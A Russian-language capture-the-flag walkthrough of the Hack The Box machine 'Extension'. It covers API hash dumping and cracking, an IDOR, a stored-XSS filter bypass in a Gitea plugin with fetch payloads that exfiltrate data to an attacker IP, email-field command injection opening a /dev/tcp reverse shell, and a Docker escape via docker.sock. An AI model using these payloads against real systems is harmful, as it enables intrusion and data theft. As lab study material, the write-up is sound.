Хакер - HTB Extension. Пентестим плагин для Gitea и сбегаем из Docker
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- Пользовательский сервис
- Gitea
- Хранимая XSS
- Продвижение
- Пользователь jean
- Docker inside
- Локальное повышение привилегий
В этом райтапе я покажу, как через уязвимость в расширении браузера получить доступ к файлам другого пользователя. Найденные критически важные данные помогут нам закрепиться на хосте, а захватим контроль над ним мы при помощи уязвимости в веб‑сервисе. А потом нам предстоит побег из Docker!
Захватывать будем учебную машину Extension с площадки Hack The Box. Уровень — «сложный».
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.171 extension.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Мы нашли два открытых порта: 22 — служба OpenSSH 7.6p1 и 80 — веб‑сервер Nginx 1.14.0. Начинаем, конечно же, с сайта.

На сайте видим указанный домен, который добавляем в файл /etc/hosts.
10.10.11.171 extension.htb snippet.htb
Так как он реальный, мы можем просканировать поддомены. Я использую сканер ffuf.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w— словарь (я использую словари из набора SecLists);-t— количество потоков;-u— URL;-r— выполнять редиректы;-fs— фильтровать страницы по размеру;-fc— исключить из результата ответы с кодом 403.
Место перебора помечается словом FUZZ.
Команда получается следующая:
ffuf -u 'http://snippet.htb/' -r -w subdomains-top1million-110000.txt -t 256 -H 'Host: FUZZ.snippet.htb' --fl 30

Так находим еще два поддомена, которые тоже добавляем в файл /etc/hosts. Там найдем сервисы Gitea и RoundCube.
10.10.11.171 extension.htb snippet.htb dev.snippet.htb mail.snippet.htb


В Gitea можем без авторизации посмотреть существующих пользователей.

Сканирование каталогов на пользовательском сайте тоже ничего не дало.
ffuf -u 'http://snippet.htb/FUZZ' -r -w directory_2.3_medium_lowercase.txt -t 256

ТОЧКА ВХОДА
Тогда посмотрим на пользовательский сайт через Burp. Нас интересует Burp History.

В коде страницы видим использование какого‑то API. Изучив его подробнее, находим возможность не только получать разную информацию, но и дампить ее.

Первым делом я решил посмотреть на пользователей сайта, но это получится только после авторизации.

А вот при запросе дампа нам отвечают, что мы не указали нужный параметр. То есть никакой авторизации не требуется.

Так как нам интересна информация о пользователях, в качестве значения будем использовать users. Но имя параметра нужно будет перебрать. Раз ответ пришел в формате JSON, передавать параметр мы будем так же. Для перебора я использовал Burp Intruder.


И находим название нужного параметра — download. Ответ очень большой, поэтому сохраняем в файл и выводим в jq.

Нам доступны хеши паролей пользователей, поэтому для перебора попробуем узнать алгоритм с помощью hashid.

В качестве алгоритма шифрования, скорее всего, используется SHA-256. Давай выберем из списка все пары логинов и паролей.
cat users.dump| jq | grep 'email"\|password' | cut -d '"' -f 4 > users.txt
Затем можно все последовательности .htb\n заменить двоеточием, тогда мы получим строки типа логин:пароль. Отправляем список программе John the Ripper и указываем формат хеша. Спустя несколько секунд получим пароль.
john -form=dynamic='sha256($p)' --wordlist=~/tmp/wordlists/Passwords/rockyou.txt creds.txt

С полученными учетными данными мы можем авторизоваться на сайте.

ТОЧКА ОПОРЫ
Пользовательский сервис
Мы можем перейти к сниппетам и создать свой. Так у нас будет возможность менять и удалять его.

При изменении сниппета передаются его параметры и тип: публичный или нет. Тогда я решил перебрать идентификатор сниппета, чтобы узнать, как работает контроль доступа к изменению параметров. И у нас получилось сделать публичным чей‑то сниппет.


Просмотрим вытащенный нами сниппет и найдем там HTTP-заголовок базовой аутентификации. Декодируем строку Base64 и получаем учетные данные для пользователя jean.


С полученными учетными данными можем авторизоваться в Gitea. Там нам доступен один проект.

Gitea
Сам проект — это плагин браузера для быстрого оповещения об ошибках. В настройках проекта находим соавтора, это нам пригодится.

Просматривая историю изменений, обращаем внимание, что при публикации сообщения его текст должен фильтроваться.

Находим подобный фрагмент в коде текущего параметра.

Из сообщения удаляется любая последовательность символов, если она заключена в треугольные скобки, то есть похожа на HTML-тег. Также если присутствует последовательность символов, приведенных в переменной filter. Но в самом регулярном выражении ошибка, так удалится только первое вхождение последовательности в тегах. Проверим это, для чего запустим веб‑сервер и отправим следующую строку:
qwe<qwe><img src="http://10.10.14.7/test">



В логах веб‑сервера увидим подключение, значит, можно проэксплуатировать хранимую XSS.
Хранимая XSS
Я решил попробовать получить проекты пользователя charlie. Список проектов можно запросить по API:
/api/v1/users/[user]/repos')
Нагрузку построим следующим образом: чтобы избежать фильтрации, будем использовать Fetch API, а после обращения к API ответ закодируем в Base64 и отправим на свой веб‑сервер:
fetch('http://dev.snippet.htb/api/v1/users/charlie/repos').then(response => response.text()).then(data => fetch('http://10.10.14.7/'+btoa(data)))

Декодируем Base64 и получаем содержимое страницы.

Видим проект backups, но скачать файлы напрямую не вышло. Тут мне пришлось обратиться за помощью к комьюнити, и мне посоветовали добавить своего пользователя в соавторы этого проекта.
var u='http://dev.snippet.htb/charlie/backups/settings/collaboration';fetch(u).then(r => document.querySelector('meta[name=_csrf]').content).then(t => fetch(u,{method:'POST',headers: {'Content-Type':'application/x-www-form-urlencoded;'},body:'collaborator=jean&_csrf='+t}).then(d => fetch('http://10.10.14.7/yes')))

Нам стал доступен проект backups, он содержит всего один архив.

А в архиве находим приватный SSH-ключ пользователя.

Даем файлу соответствующие права (chmod 0600 id_rsa) и подключаемся к удаленному хосту.

ПРОДВИЖЕНИЕ
Пользователь jean
В системе есть еще один пользователь — jean.

Мы уже получали пароль этого пользователя для одного сервиса, поэтому пробуем использовать его и для системы. Он подходит!

Docker inside
Теперь нам необходимо собрать информацию, чтобы понять, как продвигаться дальше. Я для этого использую скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации, поэтому отберем только значимую.
Во‑первых, присутствует много сетевых интерфейсов, типичных для Docker.

Во‑вторых, прослушивается много сетевых веб‑портов, а также порт MySQL.

Больше ничего интересного найти не удалось, поэтому посмотрим, какие процессы запускаются на хосте. Для этого я использую утилиту pspy64. Загрузим ее на хост тем же способом, что и LinPEAS, а потом выполним. В выводе находим команду для подключения к СУБД и изменения пароля пользователя сайта. В команде есть учетные данные для подключения к СУБД.

Подключимся к базе данных, для чего нужно прокинуть трафик с порта 3306 на свой хост с помощью SSH.
ssh -i ./id_rsa -L 3306:localhost:3306 charlie@10.10.11.171 -N
Таким образом весь трафик, который мы пошлем на локальный порт 3306, будет туннелирован на порт 3306 указанного хоста (в данном случае 127.0.0.1) через SSH-хост. Теперь подключимся к базе и получим таблицы:
mysql -h 127.0.0.1 -u root -ptoor --database webapp
show tables;

Нам интересна таблица users, получим ее записи.
select * from users;

Видим, что у каждого пользователя есть свой user_type. Управляющая запись всего одна. Но мы можем назначить это право и пользователю, учетка которого под нашим контролем.
update users set user_type='Manager' where email='letha@snippet.htb';

Обновим страницу сайта и увидим кнопку проверки.

При проверке пользователя нам покажут сообщение «Mail is valid!». Получив его, я решил найти сам проект на хосте и посмотреть исходный код проверки. Проект расположен в домашнем каталоге пользователя.

Найдем участок, где упоминается отображенное нам сообщение.
grep -iR 'Mail is valid!' ./ 2>/dev/null

Теперь просмотрим все содержимое файла AdminController.php.

Из почтового адреса пользователя извлекается домен, после чего он пингуется через вызов shell_exec. Здесь мы можем выполнить инъекцию команды ОС. Для этого добавим запись в таблицу users, где в поле почтового адреса запишем конвейер с реверс‑шеллом.
insert into users(name,email,email_verified_at,password,remember_token,created_at,updated_at,user_type) values('ralf','ralf@ralf|bash -c "/bin/sh -i >& /dev/tcp/10.10.14.84/4321 0>&1"','2022-01-02 20:15
:30','ef92b778bafe771e89245b89ecbc08a44a4e166c06659911881f383d4473e94f','UvLHOFpwyD5LYcAeOEEwYdxVwjBWszbWIKO3qRAzc5x8uJ3ZJ4VA2OiZqKgU','2022-01-02 20:15:00','2022-01-02 20:15:00','Manager');

Теперь запустим листенер и проверим созданного пользователя:
pwncat_cs -lp 4321
В pwncat увидим новую сессию.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Мы попали в Docker, а для разведки в нем есть прекрасный скрипт deepce. Скрипт по возможности проверит настройки контейнера и окружения и покажет пути для побега. Загружаем его в контейнер, даем право на выполнение и запускаем. Deepce показал, что есть монтированный docker.sock.

Определим путь к docker.sock, просто поискав его в файловой системе.
find / -name docker.sock 2>/dev/null

Использование docker.sock дает нам путь к побегу из контейнера. Для этого первым делом нужно узнать, какие есть образы.
curl -s --unix-socket /app/docker.sock http://localhost/images/json

Теперь мы можем создать контейнер для образа laravel-app_main:latest, при этом указать команду, которая выполнится при его запуске. В нашем случае это будет реверс‑шелл.
cmd="["/bin/sh","-c","chroot /tmp sh -c \\"bash -c 'bash -i &>/dev/tcp/10.10.14.84/5432 0<&1'\\""]"
curl -s -X POST --unix-socket /app/docker.sock -d "{"Image":"laravel-app_main","cmd":$cmd,"Binds":["/:/tmp:rw"]}" -H 'Content-Type: application/json' http://localhost/containers/create?name=ralf_root

Теперь запускаем созданный контейнер и получаем соединение на листенер netcat.
curl -s -X POST --unix-socket /app/docker.sock "http://localhost/containers/87628e84d50408a88d9b865ba0053a85dfa21635dfc5e114b83b920d9201061d/start"

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_freu